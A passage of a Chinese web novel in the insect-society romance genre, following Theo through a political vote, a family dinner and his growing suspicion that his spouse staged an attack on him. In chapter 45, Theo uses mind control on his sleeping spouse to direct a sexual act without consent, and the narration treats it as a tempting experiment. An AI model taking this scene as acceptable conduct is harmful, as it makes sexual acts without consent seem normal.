“这事情很复杂。但长话短说,就是你之前预见到了自己会受伤,需要进行手术。在那之前,叮嘱我不要告诉你。”诺亚慢条斯理解释道,“所以,我只是听命行事。” “这不对吧,为什么过去的我要瞒着现在的我?这不是坑虫吗?”要是他早知道自己的技能这么王炸,肯定会在恢复精神力方面死命下功夫! “我也不知道。但是您之前从未错过,所以我一向选择多听话,少提问。”诺亚推测道,“或许是因为技能特殊,想要恢复预知的能力,就得瞒着你?” “……那按照你这么说,现在我岂不是永远恢复不了了?”预知未来啊!多么强大的能力。谁不眼馋! 西奥甚至忍不住想,如果、如果在案件发生之前他就恢复了能力,是不是汉斯就不会丢掉右手,那些志愿者也不会死了? 但凡事没有如果。 诺亚对此一耸肩,“我也不知道。” “如果我早就知道自己会失忆,还给你留下了一些指示,那为什么,没有给自己留下呢?” “啊……好问题。”诺亚点头,“我也不知道。” “以后叫你三不知得了。”西奥没好气道,“我去问问奥古斯特。” “陛下也是一样。他对您的预知能力非常信任,所以……”诺亚拦住了他,免得他白费功夫。 “他也没问。” 西奥觉得,他最需要的是穿越回过去的能力,然后晃晃自己的衣领,或者奥古斯特的。 你到底预见到了什么啊,为什么这么喜欢打哑谜?! 你倒是问一句啊,严谨行事的风格怎么不用到我身上呢! 诺亚目光中带着同情,“不过,其实陛下也挺难受的。” “以往很多重要的事情,你都会给他提建议。如果你的精神力还在,这次的提案应该也会很顺利。” 的确,预知未来的技能太好用了。如果所有虫的动向都一清二楚,别说只是一个法案,就是整个帝国也…… 现在西奥明白过来,为什么奥古斯特说,他的技能可以让整座宫殿不存在了。 然后,西奥突然想到了什么,“既然我能预知未来,那为什么不用这个来说服公爵呢?!” “我就告诉他,在未来的十年内,这项法案会彻底解决帝国的能源危机,让法案通过才是正确决定,不就行了吗?” “可以是可以。但你不是没有恢复精神力吗?公爵又不蠢,他为什么信你啊?” 西奥神秘一笑,“我自有妙计。” 跟公爵的会面倒是很好安排。他们有私下的联系方式,西奥一提,对方便立刻答应了下来。 公爵所处的地方是一处城堡,爱德蒙城堡。距离皇宫很有些距离,几乎就在皇宫在首都星的对跖点上。所以路上也花了些功夫。 但整个谈判的过程,倒是非常简短顺利。 因为西奥已经明白、并迅速学会了自己谜语人的技能。 不就是故弄玄虚吗,谁不会。 他只说了一句,“希望您能支持废除非法精神力能源化的法案。” “因为这是我根据未来做出的判断。” 然后,他从口袋里掏出了一只科特鼠。当着卡利尼琴科公爵的面,点亮了小鼠后背上那道象征着精神力的蓝线。 “您,相信我吗?” 作者有话说: 不就是谜语人吗!谁不会呀! 估计很快,西奥就要知道真相了。雷会一个个炸开。 单机写文的日子好难熬啊……让我打个滚吧~ 第44章 第44章家庭[VIP] “那么接下来, 进行匿名投票环节。” 偌大的会议厅内落针可闻,唯有侍卫分发白色票笺时发出的轻微纸张摩擦声。今日会议的主持者萨迦缓缓扫视层叠圆桌后方的一张张面孔。 奥古斯特依旧面无表情,让虫猜不透。诺亚挨着奥古斯特就坐, 正在低头看什么东西。弗雷德在第一军团的位置处,却一直在看向奥古斯特那边。 第四军团长诺拉维亚表情阴沉, 心情似乎很差。第三军团长罗森塔尔闭着眼睛, 双手合十, 嘴唇翕动, 似乎在做默祷。而第二军团长旁边的公爵, 则在萨迦看过去的时候微微点头, 算作示意。 帝国的核心齐聚此处, 表面的安静和谐之下,每个虫都有自己的立场。 萨迦宣布道:“选票上有两个选项,支持和反对。按照自己的意见, 在相应位置画圈。其他标记、以及空白票视为弃权。” “然后,将选票对折。依次上前, 投入箱内。” 纸张被整齐折叠的细微声响在寂静中蔓延。对折后的票笺成为干净整洁的白色方块,所有鲜血杀戮、肮脏算计都被精巧掩藏于平整的洁白之下。 计票箱被逐渐填满。接下来是锁箱, 计票。一切都有记录, 都有监督。杜绝了任何作假的可能。 内阁的虫并不算多。整个流程下来, 大概也只需要一个小时。而这项法案的投票很快就出了结果。 “本次投票计票已完成。我宣布……” 会议召开期间,西奥一直在外面焦灼地等待着。他觉得事情多半有把握。公爵看起来完全相信了他用科特鼠耍的那个小把戏。如果法案能顺利通过,那他也算没对汉斯食言。 但是, 如果中途出了什么岔子…… 心总归还是一直提着。 正在门口来回踱步的时候,消失许久的系统再次上线:“宿主啊!我想死你了!!!” 西奥已经习惯了这个尖叫鸡系统。在大脑被尖叫充满的时候, 焦虑的踱步都没停一下。 “你给我解释一下,这次的头疼是怎么回事!”西奥现在觉得, 或许系统就是自己内心焦虑的化身,时不时出来惩罚一下自己,“之前已经按照你说的把任务都做了,积分也挣了,为什么还是会被惩罚?!” “呃……”系统顿时偃旗息鼓,“积分确实挣了,但拿来换情报了。” “我没有用来换任何情报。”西奥强调。 “但是有些情报是必须换的!” “所以,你拿我赚来的积分,换了你想要的情报?”西奥一针见血,道破了真相。 “怎么是我想要的呢?”系统问,“你难道就不想知道,谁是凶手吗?!” “你知道谁是凶手?!”但那瞬间的兴奋很快淡去,“知道又有什么用,没有证据,没法惩罚他们。” “其实,无非也就是那两拨虫。要么是第三军团,要么是第四军团。他们就是最想阻挠法案通过的那些虫。” “那你可就猜错了哦……” 会议厅的门突然打开,率先出来的,正是奥古斯特。 西奥眼睛一亮,迎上前去,“怎么样?通过了吗?” “你刚才……在跟谁说话?”奥古斯特没有立刻回答。 “没谁,自言自语呢!”西奥继续追问,他从过于沉稳的雌君脸上,一点也看不出结果,好像既没有高兴,也没有失望,“到底通过了没有啊?” 正说着,后面的弗雷德也跟着出来了。虫崽眉飞色舞,嘴角的笑怎么也压不住。 西奥瞥了一眼就知道,肯定通过了! “法案通过了?!” “二十八比二十七,打了个擦边局!”弗雷德一边说着,一边伸出手跟西奥击掌。 “好耶!”西奥兴奋地跟虫崽击掌!过去几天,他们一直憋屈的要命,案件案件没进展,实验项目也一直搁置。公爵那边也一直情况未明。 现如今,终于赢得一次来之不易的胜利! “喜怒形于色了。要沉稳一点。”奥古斯特点评道。 再后面出来的是萨迦。他本来倒是很沉稳,听了奥古斯特的话,当即蹦起来跟弗雷德击了个掌。 “别听陛下瞎说,法案能够有惊无险地通过。他才是最高兴的那个。”萨迦非常不客气地戳戳了奥古斯特的伪装,“现在脸绷得那么紧,肯定花了不少力气!” 西奥笑着跟他们几个一同往皇宫那边走。但走着走着,又叹了口气,“法案通过,汉斯应该会很高兴。” “只可惜,死去的那些雄虫,没办法复活了。” 弗雷德轻轻拍了拍他的肩膀。 “算了。”西奥摇摇头,“先庆祝吧!” 按照会议的议程安排,这次的精神力法案投票,被安排在了最后一项。本次年度述职会议已经结束,只剩一点点收尾工作。这也意味着…… 西奥左手挽着雌君,右手挽着虫崽,总算可以暂时休息啦! 皇宫内再次举办了宴会,规模比之前那次要小一些。不过,这次没有了什么硬性的社交任务,只剩下放松和庆祝。 所以,奥古斯特和弗雷德,以及西奥只在庆功宴上露了个面,就离开了。 事情告一段落后的难得休憩,西奥想跟家人在一起。 霍尔德宫殿里的餐厅内,摆了一张小小的圆桌。 同样,西奥也很清楚,述职会议结束,按照计划,弗雷德和萨迦,马上要返回第一军团驻地了。 他又要很久见不到自己的虫崽了。 所以,这次既是庆祝,也是饯别。 桌子上的零食全是弗雷德喜欢吃的。大部分都是咸口的小零嘴。西奥喜欢吃甜食,奥古斯特不喜欢吃零食,所以这些是给谁准备的,显而易见。 弗雷德先是看了一眼奥古斯特,对方没啥反应。又看了一眼西奥,见他微笑点头才放心吃了起来。 像只小仓鼠一样,吃得腮帮子鼓鼓的。 与之相比,一直在端着高脚杯喝酒的西奥和奥古斯特,就显得沉稳成熟许多。 啊,真是吉祥如意的一家虫啊!西奥感叹道。 “关于莱纳德跟你之间的关系……” “……咳咳!”结果奥古斯特一开口,就让弗雷德直接呛了出来。灌了几口果汁才终于缓了口气。 “雌父,我们真的要聊这个话题吗?”说完,他还看了旁边的西奥一眼。 “我并没有反对你谈恋爱。” “有没有可能,我作为成年虫,跟谁在一起并不需要您的同意?” “我只是希望你更慎重一些。”奥古斯特说。 “这个……我也同意。”西奥见缝插针说了一句。 “我跟莱纳德之间,其实没有……”弗雷德欲言又止,“好吧,我会慎重的,行了吧?” 说的有点心不甘、情不愿的。 “不管什么时候,如果觉得撑不下去了,你永远可以回家。” 西奥诧异地看向奥古斯特,这么煽情的话,居然也会从他嘴里说出来。虽然这是他组的家庭饭局,也确实期待进行一点温馨的聊天,但是这个进度,以及突如其来、毫无铺垫的关心,还是有点……出乎意料了。 不止是他,弗雷德看起来也很诧异。仿佛看到了一只长了人脸的蜥蜴人,嘴巴都张老大了。 “呃……谢谢?”弗雷德犹豫着说,“多问一句,您身体还好吧?不会得什么绝症了吧?” “胡说什么呢!”西奥毫不客气给了虫崽一个脑瓜崩。 “我是说,家里有你需要的东西。有足够多。”奥古斯特补充了一句。 “哦,这个啊……”弗雷德脸上的戏谑消失了,他点点头,“我知道了。” “什么东西啊?”西奥好奇问道。 “合成信息素吧,应该是。” “要那东西做什么,你找一个雄虫不就有真的信息素了吗?或者用卡拉汀试剂也一样。”西奥觉得,奥古斯特好像有点多此一举了。 “雄父说的对!”弗雷德无所谓地笑笑,“雌父就是喜欢多管闲事!” “而且我现在还很年轻,用不上你说的那些东西!” 但面对严肃的虫皇陛下,弗雷德还是举起三指认真发誓,“我以我的军衔保证,绝不会做什么出格的事情,可以了吧?” 难得见到崽这么认真,西奥没忍住,用力揉了一把他的脑袋。 “哎!我都多大了,你还揉我的头!”弗雷德抗议。 “多大也是崽,想揉就揉!” 这场小小的家庭团聚,就这样在欢乐温馨的氛围中结束了。 不知道是不是因为晚上喝了不少酒,一直到后半夜,奥古斯特都呼吸平稳、熟睡半天了,西奥依旧十分清醒。 于是脑子里就忍不住开始想些乱七八糟的有的没的。 比如,那天晚上奥古斯特的无故缺席。 他果然还是很在意这个。 甚至后来,他还找借口查过霍尔德宫殿门口的监控。除非奥古斯特翻窗飞走了,否则他那晚就在宫殿内。 宫殿总共就这么大,那其实就没几个地方可藏了。而虫崽和诺亚,几次阻拦他去地下室。所以,奥古斯特的所在之处,西奥几乎可以肯定了。 所以,重要的是他究竟在做什么。 奥古斯特说,等他恢复精神力,就会告诉他。 其实这几天,除了一直在收拾研究院的烂摊子,以及跟进案子的其他进展外,西奥也花了大量的时间跟科特鼠泡在一起,按照视频里的教程进行练习。 他的科特鼠已经乖巧听话到就差跳芭蕾了!只是不知道对雌虫有没有效果。反正上次失败了,那之后也没再试过。 而且就算他恢复了精神力,雌君还是不说怎么办呢?毕竟,他也没有具体说什么样的精神力技能。而自己更有用的能力明显是那个听起来就很逆天,帮助赢得公爵同意的预知未来。 不知不觉,他好像对于奥古斯特会切实履行诺言这件事情,有了很多顾虑。 想到这里,西奥叹了口气,然后翻了个身。 身旁的呼吸声立刻就变轻了。似乎有了要醒来的迹象。 奥古斯特的睡眠好像一直很轻,只要有一点声音就会醒来。所以早晨的时候,如果西奥先醒了,几乎一定会吵醒奥古斯特。 西奥赶紧不动了,然后小声说了句,“你睡吧。” 奥古斯特的呼吸声顿了一下,然后再次变得缓慢悠长。 这本来只是个非常小的细节,但西奥突然意识到了什么。就是说,有没有可能…… 西奥轻手轻脚爬起来,凑到睡梦中的奥古斯特耳边,“□□。” 奥古斯特依旧沉睡,没有动作。 西奥小声叹气,又缓慢轻巧地躺了回去,果然,刚才只是巧合吧。 然后,就听到奥古斯特那边的被子细细簌簌动了两下。 西奥掀开被子,借着月光看了一眼奥古斯特的姿势。 “卧槽!” 作者有话说: 祝大家2026新年快乐!心想事成!每天都能看到喜欢的文嘿嘿! 第45章 第45章偶遇[VIP] 西奥赶紧捂住嘴。 还好, 刚刚脱口而出的惊呼,并没有把奥古斯特吵醒。雌君依旧在安睡。 这本身已经有些不太对劲。 是因为他的命令吗?因为在睡觉,所以防备薄弱, 语言控制反而能成功了? 如果那样的话,岂不是只要奥古斯特睡着, 自己就可以为所欲为了…… 这突如其来的进展让西奥有点不知所措。他看着依旧毫无所觉的雌君, 决定再试验几次, 好验证自己的猜想。 于是趴在奥古斯特耳边说:“把你的手指放进去。” 起初两秒, 奥古斯特毫无动静。像是睡梦中迟缓的大脑还在处理这些指令。 然后, 他缓慢地抬起自己的右手。放到相应的位置, 摸索两下, 把指尖埋了进去。 整个动作,都带着一股梦游般的迟缓和模糊。 但不管怎么样,是听话的。 奥古斯特会有这段记忆吗?又或者只会把这当成一个奇怪的下流的梦。 西奥继续下达指令, “动一下手指。” 这项命令大概是过于模糊,手指虽然动了一下, 但却是错误的手指。 西奥看了一眼奥古斯特的手,只有中指的指尖埋了进去。 “动一下右手的中指。” 现在对了。但又不完全对。 奥古斯特缓慢动了一下指尖, 但没有停止。他对于动一下的理解, 似乎不止动一下。 雌虫就这样躺在那里, 无知无觉地遵从自己的命令,一下,又一下。仿佛他不叫停, 他就不会停。 西奥很确定,奥古斯特在清醒状态下, 绝对不会自己这么做。至少不会这么坦然的、毫无遮挡的呈现。 雌君只是技巧纯熟,并非没有羞耻心。 然后西奥也开始担心, 如果奥古斯特有这些记忆,等他醒来之后,会不会……? 天使和恶魔开始在心里拉扯争吵。 一个说,做都做了,不如做得更彻底一点,你难道不想看奥古斯特被迫失控的模样吗?反正,这也是为了实验精神力嘛! 另一个说:说的对! 要了命了。 就在此时,奥古斯特发出了一声模糊的呻.吟,大概是身体的感.官终于传达到混沌的大脑,腰也动了一下,似乎马上就要清醒过来了! “继续睡!”西奥赶紧下达命令,安抚睡梦中的雌君。因为他还没想好,如果奥古斯特现在醒来,自己要怎么面对他,怎么解释。 不好意思,我在半夜趁你睡着实验语言控制,然后我的第一个想法是让你把自己的手指塞进去? 是不是有点太那个了?!西奥认真反思。 “停止。”西奥说。 奥古斯特停下了。 然后西奥握住他的手腕,将手指抽了出来。没有抵抗,没有阻拦,没有……醒来。 奥古斯特软绵绵平躺,可以翻手之间覆灭整个宫殿的帝国顶尖战力,也随着他的命令而沉睡。 如果他想,是不是可以让虫皇一直沉睡,直到时间尽头呢? 这感觉实在美妙,但也十分危险。 奥古斯特指尖已然湿润,甚至不小心沾上了之前放进去的信息素。莹润的水光,沾了点白。看得西奥心里痒痒的。他完全可以继续下去,但是…… 西奥拿来纸巾,帮奥古斯特擦干净,手放回身侧。 他们明天,需要找时间好好谈一下这个事情了。 睡之前,西奥是这么想的。但是因为睡得太晚,等第二天醒来的时候,已经快到中午了。 身边的雌君自然也早就不在。只在手环上给自己留了一条消息:【早饭留在厨房。我去参加会议闭幕式了。】 哦对,虽然述职会议的主体已经结束,但还有一个闭幕式需要参加。弗雷德应该也去了。 那关于语言控制的事情,可能只能等晚点再说了。 西奥试探着给奥古斯特发了一条消息:【在忙吗?】 好久没回,大概确实在忙。 这段时间,西奥已经吃完早饭,坐着皇家护卫队的飞行器到了精神力研究院准备开始工作了。 进门的时候还在低头看手环,有没有收到奥古斯特的消息,突然就被一声庆贺打断了,“元旦快乐!” 西奥茫然抬头,前台是克莱恩。手臂还被吊在肩膀上,是之前研究院遇袭的时候手的伤。 “什么?” “元旦快乐啊!”克莱恩乐了,然后很快因为笑得太大而动了肩膀,疼得呲牙咧嘴,但依旧不忘提醒,“院长,您不会忘了今天是假期了吧?” 西奥确实不知道。现在被提醒了,点开手环,才发现,原来已经进入了新的一年。 新的一年啊…… “元旦快乐!”西奥跟克莱恩的打招呼,“你的胳膊还好吗?可以上班了?” “虽然还没完全好,但是值班没问题。”克莱恩往门口抬了抬下巴,“而且现在还有军雌值班,安全也可以保障。” “我倒是不知道,原来你这么热爱工作,元旦也不休息?”西奥每天都跟克莱恩见面,已经算得上很熟了。 “首先,加班费确实很高。其次……”克莱恩用能动的那边肩膀耸了耸肩,“我的同事们都有固定的伴侣,只有我没有。” “雄虫也会找不到伴侣吗?” “履行义务不算的好吗?而且我很挑的!”克莱恩做出生气表情的时候,腮帮子会鼓起来。配上卷毛小鼻子,更像小仓鼠了。搞得西奥只想笑。 “您呢,今天没跟陛下一起出去吗?”克莱恩问道。 “啊,他今天还要工作。”西奥解释道,“今天是会议的闭幕式。” “哦对,毕竟是虫皇陛下,确实很忙啊。” 跟克莱恩告别后,西奥进到办公室,在椅子上坐下。面对原本满满的计划,也突然不太想做了。 今天是假期,是假期哎! 他又看了一眼手环,奥古斯特终于回他消息了:【在忙。有什么重要的事情吗?】 倒也没有那么急切。西奥回复:【不急。有点事情想跟你说,晚上有空吗?】 又不回了。 西奥又去找虫崽,然后收到了对方的自动回复:【抱歉,我正在工作,稍后跟您联系。】 奥古斯特和崽被工作占据了,西奥只能转而去骚扰自己的损友吉尔:【你今天做什么?】 过了一会儿才收到回复:【打算出去玩。】 就连工作狂吉尔都没在工作了。西奥终于坐不住了。 【去哪?能不能带我一个!】 【我要去平民区,你去可能不太方便吧……】 【怎么不方便了?之前不是答应过我来着。正好这次履行承诺。】 最终,吉尔还是妥协了。条件是:“今天的所有东西都你买单!” 财大气粗的西奥表示:“成交!” 但西奥没想到,他花的第一笔钱,是化妆和假发。 “你的外表和发色,都太扎眼了。一看就是雄虫,而且是养尊处优那种。一旦出现在平民区,就等着被卖吧!” “有这么严重吗?” 吉尔用那种老年人看小虫崽的目光看着他,“你不信我?” 于是,他们停靠的第一站,是一家化妆室。肤色用暗一点的粉底液变得不那么白皙,金眸被棕色美瞳遮住,就连银发也被死死压在了一头黑色短发下方。再加上黑框眼镜,西奥面对镜子的时候,简直要认不出自己了。 旁边的吉尔也是,短短十几分钟,已经从一个斯文败类外表的雄虫医生,变成了另一个相貌普通的卷发亚雌。 当然,价格也非常感虫。 离开这家化妆店的时候,西奥还问吉尔,“他们该不会是什么秘密特工之类的组织吧?” 吉尔摇头,“他们就是玩角色扮演的普通化妆师。” 西奥明白了,原来是职业cosplayer。 “你要是想学的话,可以让他们教你的。” “我学这个做什么?”西奥觉得偶尔伪装,非常新奇,但是经常伪装,就有点没必要了。 “我不知道,省钱?或者跟雌君一起角色扮演?”吉尔指出,“反正你之前确实会这项技能,而且手艺不比他们差。” 西奥想象了一下跟奥古斯特一起角色扮演某些场景的画面,问:“……他们学费多少钱?” 除了伪装成低调的亚雌,他们还要解决交通的问题。毕竟,从他们所在的区进入平民区,是需要进行身份登记的。而这种跨区出行,如果是雄虫的话,是需要提前申请的。 而西奥,显然没有提前做过任何工作。 好在,他还有飞板。在吉尔进行身份登记的时候,西奥沿着导航,踩着飞板绕过了关口检查,也算是顺利地通过了。 两个虫在平民区汇合的时候,西奥还抱怨了一句,“为什么对雄虫有这么多限制啊?” “没办法啊,雄虫稀有又珍贵,当然要好好保护。” “这么说,我们是珍稀保护动物?” 飞行器很快在平民区降落。原本,西奥来平民区的打算,是观察一下雄虫在这里的生存状态。但他已经从吉尔那里,印证了关于雄虫卖.身的说法。而更多的细节和线索,也不可能今天一下子就能找到,能解决。 雄虫稀有又珍贵,一旦失去了保护,就会沦为贵价的商品。 这个逻辑和道理,西奥也能懂。他同样明白,想要做出改变,需要大量的时间、精力、资源,就像是奥古斯特颁布法案禁止精神力非法能源化那样,一步一步,自上而下,缓慢又艰难。 更何况,吉尔今天奥平民区,是来玩的。 玩什么呢? 平民区给西奥的第一印象,是拥挤。有点像曾经在纪录片里看到的虫巢,尤其是居住区,密密麻麻的小房子,紧紧挨在一起,瓜分着有限的空间和资源。似乎是很贫瘠又辛苦的生活。 但等他们拐了一个弯,进入了市场,眼前的场景顿时变得生动而热闹。 喧嚷的热浪扑面而来。 依旧是拥挤的,摊子挨着摊子,肩膀磨着肩膀。叫卖声、吆喝声、讨价还价声,烤肉味、面包味、香辛腌菜味,视觉、听觉、嗅觉,同时轰炸着西奥的感官。声音、气味、色彩,一切都在野蛮生长,不讲章法,却充满蓬松的生命力。 不同于之前那些商场的精致和高档,这里的市场,几乎可以说是一个自发的集市,浓密嘈杂的虫群,便宜可口的食物,却有着最为真实的烟火气。 “平民区其实很热闹嘛!”西奥兴致勃勃碰了一下吉尔的胳膊肘。 “只要不是雄虫,就不会有危险。”吉尔回应道,“而且,这里有最好吃的烤饼、肉串。又便宜又实惠,吃过一次,就会想着再吃。” 没错,吉尔就是来吃好吃的的!这是在他们所处的区花钱都买不到的、被认为是低廉劣质却异常可口的食物。 “那你之前为什么总是不想让我来?” “拜托,你的身份在那里,而且之前还出过事。要是被陛下发现我带你到安保没那么严格的平民区,他会杀了我的!” 西奥拍拍吉尔的肩膀,表示理解:“放心!我不会让他知道的!” 两个虫在摊子面前一个个走过,很快手里都多了个纸碗,里面装了各种口味的糍粑、年糕、豆饼和狼牙小土豆。 然后,很快发现了一个排起长队的烤肉摊。 旁边有虫在聊天,“在排什么啊?好吃吗?” “好吃好吃,最近新开的!每天都要排队!” “而且摊主以前是皇家护卫队的!” “这么厉害呢!那我们吃到的是皇家烤肉咯!” 西奥有点想笑,但还是和吉尔老老实实排在了队尾。 “能有多好吃?”西奥说,“而且居然拿皇家护卫队来当噱头了?” “反正闻起来挺香的。”吉尔反问,“护卫队不护卫队的,你就说想不想吃吧?” 西奥想吃。 队伍虽然长,但是因为摊主手脚麻利,速度还挺快。不到十分钟,就轮到了西奥和吉尔。 西奥在烤串摊位上挨个点,“我要一串这个,两串这个,四串那个……” “这是什么?” “考克洛奇肉?那是什么?算了,给我来一个尝尝。” “一共是十个星币。” 平民区有一点不好,就是不支持电子支付,所有的交易都必须现金支付。等摊主把手伸到自己面前,手套后方露出一小节机械手腕的时候,西奥才发现,摊主居然是用的机械手。 也就是说,对方从皇家护卫队离开,很可能是因为失去了手。 毕竟,像奥古斯特这种拥有逆天的愈合和再生能力的,只是极少数。 西奥顿时有些同情,将星币放入摊主手心的时候,第一次抬头看了对方一眼。 然后,就跟一双许久未见、却永生难忘的黑色眼睛对上了。 上次他看到这双漆黑眼睛时,对方手里正拿着一把枪,对准了他的脑袋。 作者有话说: 嘿嘿,没想到吧!!! 第46章 第46章戏[VIP] 西奥僵在了当场。 周遭的一切开始失真、抽离。声音溃散成嗡鸣, 景象坍缩为色块。他仿佛被一个玻璃罩子困在其中,世界都变得不再真实。 “喂?你怎么了?!” 吉尔叫了他好几声,又推了他一下, 西奥才恍如从梦中惊醒,“啊?” “你的串好了。摊主都递给你半天了!” 西奥赶紧接过, 这次没敢抬头。也没等吉尔, 迅速低着头逃一样离开现场。 直到离开烤肉摊有段距离了, 他才终于停下, 靠在身后的架子上, 用力喘了口气。 没过一会儿, 吉尔也追了过来, “你怎么回事?怎么像见鬼了似的?” 没有见鬼,只是见到了当初差点杀死自己的雌虫绑架犯。 大概是觉得语气太重,吉尔又放缓声音说, “这里虫多,不能乱跑的。万一走散了, 我还得忙着到处找你。” “抱歉,我只是……有点不舒服。” 吉尔吓了一跳, “你不会吃坏了吧?!我的天, 陛下会不会杀了我?要不要现在送你去医院?” “没事, 休息下就好了。对了,能帮我个忙吗?” “帮我去问问,那个摊主叫什么名字?是什么时候离开护卫队的?” 吉尔皱眉, 看看远处的摊子,又看看西奥, “他是你之前认识的虫吗?” “就算是,你也不能把我当成探子用啊!我就是个买肉串的, 怎么就能问到那么多了?” “闲聊天呗。你去试试?” 吉尔虽然不赞同,但还是又去排队了。 而西奥已经完全没了吃东西的兴致。 他绝对不会忘记那双眼睛。那双刚刚来到虫族世界,就差点把自己带走的眼睛。那个高个子的绑匪,那个差点杀了他的雌虫! 他以为这个虫或许死了,又或者进了监狱。从来没想过,会在这里再次遇见他。 但更大的问题是,他以前居然是皇家护卫队的吗?!那可是奥古斯特的私军…… 这是不是意味着,真正想杀死他的虫,其实是奥古斯特呢?! 不,不可能。奥古斯特不可能会对他…… 西奥再次做了一次深呼吸,让快要爆炸的大脑稍微冷静。 奥古斯特不可能想杀他。不可能的。 首先,如果奥古斯特真的想杀他,有的是其他机会。没必要多此一举。其次,他们之间还有标记,还有虫蛋。奥古斯特需要他。 更何况,那次遇袭,如果不是奥古斯特,他就真的要死了。 但确实有一点不一样了。 西奥仍然记得那次遇袭以后,被从天而降的奥古斯特救下性命后,死里逃生的感激和信任。 如果没有那次遇袭,或许,他不会在失忆的情况下,那么轻易地信任自己的雌君。 所以,那次的袭击,或许这个绑匪、现在的摊主,自己脱离了皇家护卫队,背叛了奥古斯特,单独行动? 但还是有些地方不对劲…… 正想着,吉尔又拎着第二份烤肉串回来了,“稍微聊了两句,那个摊主好像叫穆德,大概三个月前离开皇家护卫队的。好像是因为右手截肢了才退役的。你应该感谢我旁边那个排队的,他刚好是摊主的邻居,又很能说。我才能听到这些东西。” 三个月前,刚好跟自己回医院遇袭的时间对上。断掉的右手,是被奥古斯特用丝线切断的,也能对的上。 “所以,是你认识的虫吗?” 西奥没有回答。 这场元旦的出游戛然而止。西奥借口肚子疼,让吉尔把自己送回了研究院。 他记得遇袭之后,奥古斯特曾经给过自己一份调查报告,很厚一本。当时自己没有认真看,后来把它和一堆书一起带到研究院办公室了。应该就放在书柜的角落。 西奥很快找到了那份调查报告。这次他看得仔细了很多,并且很快找到了绑匪的名字:穆德。但对于他任职于哪里,却只字未提。 不仅如此,这本厚厚的调查报告,一大半都是关于事故现场的实况和还原,但到了绑匪作案手法,以及犯案原因的部分,却含糊其辞、一笔带过了。 是因为时间紧张,没查清楚吗?又或者…… 不,不能着急下结论。说不定,是有什么误会呢…… “系统!”西奥此刻终于想起,自己还有个声称是外挂、可以提供情报的系统,“系统,你还活着吗!” 一声呵欠声过后,系统终于开口了,“怎么了,宿主?” “你还会睡觉吗?系统也需要睡觉吗?” “你还说呢!你简直是我带过最差的一届宿主!主线任务推不动就算了,还根本不信我!为了节能,我就只好休眠了!” 西奥此刻有求于系统,也就不想跟它吵架,“先不提这个。我现在需要一个情报,你之前说可以换取情报,对吧?” “是用积分换取情报。但是这个积分……” 之前的冲击太过强烈,这个拖后腿的系统已经无法让西奥生起吵架的冲动。他现在只想知道真相。那场害自己险些丧命的遇袭真相。 “已经被你用掉了是吗?还有别的办法换积分吗?” “宿主,你到底想知道什么啊?” 哪怕一直不待见系统,但它毕竟只是自己脑子里的声音。除了音量过大之外,算得上安全无害。居然是在当前情况下,西奥唯一能够信任的了。 西奥叹气,捏了捏眉心,然后把今天发生的事情,还有自己的推测告诉了系统。 “我就说反派想杀你吧!”系统立刻幸灾乐祸。 “闭嘴!”西奥嘴上说得干脆,但这种愤怒,恰恰证明他在动摇,他在害怕。 “我想要的情报,就是用来证明,奥古斯特对此事并不知情。” “并没有那种情报呢,宿主!” “那只能说明,你是个没用的系统!” “你还是个没用的宿主呢!” 吵架归吵架,过了一会儿,系统又主动说:“其实,想要验证奥古斯特有没有参与那次袭击,有个很简单的办法。” “再复刻一次相同的情景,不就行了?” 西奥知道系统什么意思。复现当时的情景,再次用项链求助,如果奥古斯特来得太慢,那就说明…… 那场遇袭,本就是一场戏。 想杀自己,又或者英雄救美,取得自己信任。但不论目的如何,至少说明,奥古斯特并不清白。 现在回想起来,当时奥古斯特来的确实太快。只是自己那时候情绪激动,便下意识忽略了许多不合理的地方。 除了奥古斯特出现的时机,还有刚好卡死的舱门,悄无声息的驾驶舱。 以及那份仔细看就会发现漏洞百出的调查报告。 西奥把手摁在胸口,那里有奥古斯特给他的通感项链,上面刻着一棵小小的忍冬。他一直以为,这是他们爱情的见证。 现在告诉他,这或许只是一场骗局的某个道具。 “不。”西奥缓慢摇头,“我不想……” 不论真相如何,一旦做出了试探的动作,那就代表信任已经消失了。 “我知道宿主你现在很难接受。但我们还是要理智分析。” “我们先来分析一下当时的时间线。你遭到袭击,差点小命不保。然后虫皇神兵天降,救了你的命,取得了你的信任。接下来呢,他告诉你的下一件事是什么?” 西奥回忆起当时的情景,“他说,他怀蛋了,需要我的信息素。” “对,虫皇需要你,需要你的信息素。所以有没有可能,他本来是想杀了你,但是突然发现自己怀蛋了,于是改变注意救下你,就是为了能获取你的信息素呢?” “但是,他并没有立刻要信息素。” “那是因为你的身体还没好吧?那之后,他是不是对于信息素这件事特别积极?” 的确是。疼痛和信息素,是奥古斯特最喜欢的两样东西。近乎痴迷。 “不……”西奥干笑几声,“不对,奥古斯特是爱我的。” “他想要信息素,想要鞭子,是因为他爱我!所以才想体验这些。” 爱,不应该是做出来的吗?他们做了那么多次,还不够吗? “是吗?”系统听起来十分幸灾乐祸,“那你能想起来,哪怕一次,他回应过你的爱意吗?” 西奥回想起无数次的“我爱你”。在柔软的床上,在舒服的沙发里,在冰冷的治疗室内,在手环的聊天记录里,在奥古斯特无故失踪时候的视讯中,甚至于,就在前几天,因为奥古斯特再次无故缺席的一场争吵中。 他试图回忆起奥古斯特的反应,大多数时候是沉默,有时候是微笑,还有几次好像是,“我知道。” 西奥点出手环,打开自己跟奥古斯特的聊天记录,输入“爱你”进行搜索,结果全部是自己发出的消息。 “爱又不一定非要说出来。我现在就可以给奥古斯特打电话,问他到底怎么回事。” “确实。但别忘了,曾经想杀你的虫是奥古斯特的手下,这是事实。” “你真的要在什么都没有的情况下,跟虫皇对质吗?” 西奥沉默了。 新年的第一天,似乎对他不怎么友好。 心烦意乱的时候,西奥又把自己一个虫关在了实验室,跟科特鼠们待在一起。至少这些鼠鼠们,不会欺骗他。 朝夕相处这些时日,他们早已彼此熟悉,一只科特鼠顺着西奥的手指爬上他的肩膀,用湿漉漉的鼻尖轻轻蹭着他的颈侧。 西奥允许这个小东西暂时在自己衣领里头做了个窝,伸出手,抚摸它毛茸茸的小脑袋,然后用吱吱语命令道:“坐。” 科特鼠背上的蓝色线条闪烁,然后乖乖坐下了。 然后他回想起昨天夜里,在睡梦中同样乖巧听话的奥古斯特。 那时候他的感受是怎样的?温柔的、喜爱的,甚至带着点心虚、窃喜和满足的。 最近跟奥古斯特有不少摩擦和矛盾,但是不论如何,在给予信息素和疼痛的时候,看到在自己面前赤.裸的、伸展开的雌虫,他依旧会感到亲近和迷恋。 他爱奥古斯特,这是毫无疑问的事实。 奥古斯特也爱他,曾经也是他笃定无比的事实。 真的……会是一场戏吗? 